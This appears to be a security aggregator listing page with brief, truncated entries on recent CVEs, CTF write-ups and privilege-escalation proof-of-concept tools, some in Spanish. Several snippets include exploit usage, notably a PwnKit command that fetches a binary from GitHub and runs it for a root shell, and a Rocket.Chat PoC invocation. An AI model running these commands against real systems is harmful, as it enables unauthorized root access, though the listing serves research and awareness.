EUVD-2026-71605

IBM ContextForge MCP Gateway = v1.0.7 MCP Context Forge could allow a remote authenticated attacker to obtain sensitive credentials and escalate privileges due to improper validation of jq filters...

CVE-2026-75160

An issue in X-Serie Gateway Firmware V60005 allows a remote attacker to escalate privileges via the endpoints /cgi-bin/wwwugw.cgi and /cgi-bin/ugwdownload.cgi...

VulnHub-DC1-Writeup

VulnHub-DC1-Writeup "Penetration testing lab writeups documenting full attack chains — from recon to root." 🔓 VulnHub — DC-1 Boot-to-Root Writeup Difficulty: Beginner–Intermediate Platform: VulnHub Goal: Capture all 4 flags and achieve full root-level compromise Attacker OS: Kali Linux VirtualBox...

GhostLock

GhostLock - CVE-2026-43499 Local Privilege Escalation Exploit Vulnerability Overview CVE ID: CVE-2026-43499 Vulnerability Type: futex PI priority inheritance stack UAF Use-After-Free Affected Range: Linux kernel 6.1 6.12 Android GKI Exploitation Impact: Local privilege escalation + SELinux disabl...

bx2-writeups

Security Writeups A collection of my cybersecurity writeups covering: TryHackMe Hack The Box Linux Privilege Escalation AI & Infrastructure Security CTFs Security Challenges Author: Nanashi Bx2...

CVE-2026-6958

Acunetix 25.11.251107123 for Windows contains a local privilege escalation vulnerability in the Web Vulnerability Scanning Engine wvsc.exe that allows low-privileged local attackers to execute arbitrary code as SYSTEM by exploiting a missing hardcoded directory path for OpenSSL-related files...

CVE-2019-1064

CVE-2019-1064 - AppXSVC Local Privilege Escalation https://www.rythmstick.net/posts/cve-2019-1064/...

EUVD-2026-71151

Acunetix 25.11.251107123 for Windows contains a local privilege escalation vulnerability in the Web Vulnerability Scanning Engine wvsc.exe that allows low-privileged local attackers to execute arbitrary code as SYSTEM by exploiting a missing hardcoded directory path for OpenSSL-related files...

CVE-2026-6958

Acunetix 25.11.251107123 for Windows contains a local privilege escalation vulnerability in the Web Vulnerability Scanning Engine (wvsc.exe) . The root cause is a missing hardcoded directory path for OpenSSL-related files; a low-privileged local attacker can create that directory, place a malicio...

PwnKit-CVE-2021-4034

PwnKit PoC para PwnKit / CVE-2021-4034 - Escalada Local de Privilegios en Pkexec Explotación Manualmente root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command...

Linux-for-a-Pentester

🐧 Linux para un Pentester 💀 "La teoría es genial, pero la terminal es donde ocurre la magia." Este repositorio es una colección curada de notas de comandos de Linux construidas a partir de laboratorios reales, CTFs y práctica práctica. Sin rodeos, solo los comandos puros y las notas prácticas...

CVE-2025-2304-Camaleon-CMS-Mass-Assignment-Privilege-Escalation-PoC

CVE-2025-2304 — Camaleon CMS Mass Assignment Privilege Escalation PoC Privilege escalation vulnerability in Camaleon CMS /updatedajax with passwordrole=admin injected into the password parameters. 4. Verifies the role has been updated to admin. Requirements Python 3 Install dependencies:...

Azure

Kit de Seguridad Ofensiva de Azure Una colección de scripts de Bash y PowerShell para evaluaciones de seguridad de Azure, que cubren escalada de privilegios de IAM, seguridad de contenedores, exposición de Key Vault, configuración de Entra ID y más. Diseñada para ejecutarse en Azure Cloud Shell o...

CVE-2015-1328

CVE-2015-1328 TryHackMe Walkthrough – Escalada de privilegios en el kernel de Linux CVE-2015-1328 Objetivo El objetivo de este walkthrough era escalar privilegios de un usuario con pocos privilegios karen a root explotando un kernel de Linux vulnerable. Paso 1 – Enumeración inicial Después de...

CVE-2023-21817

CVE-2023-21817 - Comprobador de Vulnerabilidad de Elevación de Privilegios Local LPE en Kerberos de Windows Una prueba de concepto PoC minimalista en C++ / Comprobador de vulnerabilidad para CVE-2023-21817. Esta utilidad ayuda a investigadores de seguridad y administradores de sistemas a determin...

ghostlock-pfem10

GhostLock — PFEM10 CVE-2026-43499 IonStack exploit for OPPO Find X5 Pro PFEM10. Kernel 5.10.236-android12-9-o, futex CMPREQUEUEPI UAF → pi-tree write primitive. Use at your own risk. Expect panics / reboots. Do not update firmware. Build root@kitploit: ./build.sh requires Android NDK r28c Build...

CVE-2026-9018

CVE-2026-9018 CVE-2026-9018 — Easy Elements for Elementor ≤ 1.4.5 | Elevación de Privilegios No Autenticada Investigación por: Atomic Edge Severidad: Alta | CVSS: 8.8 | Autenticación requerida: Ninguna Descripción general Existe una vulnerabilidad de elevación de privilegios no autenticada en el...

CVE-2026-29198-POC

CVE-2026-29198-POC Rocket.Chat OAuth2 NoSQL Injection , in Rocket.Chat 8.3.0, 8.2.1, 8.1.2, 8.0.3, 7.13.5, 7.12.6, 7.11.6, and 7.10.9 setup install: pip3 install -r requirement.txt Exploit: python3 poccve202629198.py --url domain --escalate -v...

FreePBX-CVE-2025-57819

FreePBX CVE-2025-57819 — SQLi no autenticado a RCE como root Gravedad: Crítica Tipo: Inyección SQL no autenticada → Ejecución remota de código Software afectado: FreePBX módulo endpoint Probado en: FreePBX en CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5 Resumen Existe una vulnerabilidad de inyecció...

CVE-2026-31431

CVE-2026-31431 "Copy Fail" - Herramienta de Investigación y Pentesting ⚠️ AVISO LEGAL Este proyecto se proporciona estrictamente para: Investigación en seguridad Fines educativos Pruebas de penetración autorizadas Entornos CTF y de laboratorio Al usar esta herramienta, usted acepta que: Usted pose...